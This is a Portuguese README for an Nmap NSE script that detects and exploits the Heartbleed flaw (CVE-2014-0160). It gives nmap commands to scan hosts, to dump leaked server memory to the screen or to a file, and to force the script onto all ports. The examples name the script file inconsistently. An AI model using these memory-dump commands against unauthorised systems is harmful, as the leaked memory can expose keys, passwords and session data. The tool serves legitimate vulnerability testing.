ssl-heartbleed.nse

Script NSE do Nmap que descobre/explora Heartbleed/CVE-2014-0160. Este script é agora basicamente o que Patrik Karlsson escreveu com algumas pequenas alterações portadas do meu próprio script.

Funcionalidades

• Inclui suporte para FTP, SMTP, XMPP (https://github.com/nmap/nmap/blob/master/nselib/sslcert.lua#L231).
• Suporta todas as versões do TLS (TLSv1.0, TLSv1.1, TLSv1.2).
• Exibe memória vazada como dump hexadecimal.
• Despeja memória vazada em um arquivo.

Uso

Verificar se um host é vulnerável

Isto é executado em todas as portas SSL, FTP, SMTP e/ou XMPP.

$ nmap --script ./openssl-heartbleed.nse host.tld

Despejar memória vazada de um host vulnerável

O despejo de memória vazada é ativado aumentando o nível de depuração do Nmap através da flag -d.

$ nmap -d --script=./openssl-heartbleed.nse host.tld

Despejar memória vazada em um arquivo

$ nmap --script ./ssl-heartbleed.nse --script-args 'ssl-heartbleed.dumpfile=/tmp/heartbleed.dump' host.tld

Executar ssl-heartbleed.nse contra todas as portas

Força o script a ser executado em cada porta, independentemente de o serviço ter sido detectado ou não.

$ nmap --script +./ssl-heartbleed.nse host.tld